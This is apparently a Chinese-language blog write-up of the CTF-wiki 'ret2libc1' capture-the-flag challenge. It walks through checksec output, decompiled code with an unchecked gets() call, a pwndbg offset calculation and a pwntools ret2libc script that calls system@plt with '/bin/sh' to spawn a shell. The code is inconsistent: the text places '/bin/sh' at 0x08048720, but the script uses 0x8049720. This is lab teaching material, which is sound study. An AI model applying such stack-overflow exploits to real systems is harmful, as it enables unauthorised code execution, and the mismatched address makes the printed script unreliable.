BoyChai's Blog - python https://blog.boychai.xyz/index.php/tag/python/ [PWN]栈溢出-ret2libc1 https://blog.boychai.xyz/index.php/archives/75/ 2024-06-11T08:50:00+00:00 题目来源下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1PS:内容来自于CTF-WIKI分析文件类型┌──(kali㉿kali)-[~/Desktop/pwn] └─$ file ret2libc1 ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped这是一个采用动态连接库编译的32位ELF文件软件防护 checksec --file=ret2libc1 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 84 Symbols No 0 1 ret2libc1允许栈溢出,NX防护开启,PIE防护关闭。IDA分析在main函数中内容如下int __cdecl main(int argc, const char **argv, const char **envp) { char s[100]; // [esp+1Ch] [ebp-64h] BYREF setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_<"); gets(s); return 0; }在main中明显的gets函数,直接可以栈溢出,之后其他没有可用信息了。在secure函数中内容如下void secure() { unsigned int v0; // eax int input; // [esp+18h] [ebp-10h] BYREF int secretcode; // [esp+1Ch] [ebp-Ch] v0 = time(0); srand(v0); secretcode = rand(); __isoc99_scanf("%d", &input); if ( input == secretcode ) system("shell!?"); }有后门,但是system()函数传参不对不能直接拿这个地址直接用。在IDA中查询找字符串/bin/sh在rodata中地址是0x08048720在plt表中查询到system()函数的地址是0x08048460。.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system]攻击攻击思路采用system的plt地址来运行system()函数,通过程序内的字符串/bin/sh给函数进行传参。栈溢出位数使用pwndbg调试,内容如下───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────── *EAX 0xffffcf3c ◂— 'hello' EBX 0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */ *ECX 0xf7e258ac (_IO_stdfile_0_lock) ◂— 0 EDX 0 EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0 ESI 0x8048690 (__libc_csu_init) ◂— push ebp EBP 0xffffcfa8 ◂— 0 ESP 0xffffcf20 —▸ 0xffffcf3c ◂— 'hello' *EIP 0x8048683 (main+107) ◂— mov eax, 0这里溢出位数应该是0xa8-0x3c=108,溢出位数应该还要+4,+4才是真正返回地址的位置。脚本from pwn import * # 利用地址 system_plt = 0x8048460 binsh = 0x8049720 io = process("./ret2libc1") payload = flat([b"a" * 112, system_plt, b"b" * 4, binsh]) io.sendline(payload) io.interactive()在脚本中plt地址后门还要再多溢出4字节,因为函数拿参数的时候都是他的上上个位置,上一个位置也就是这后面填充的4字节,他一般都是返回地址的位置,因为这里只需要执行system()所以不需要考虑这个返回地址的内容,填充垃圾数据即可。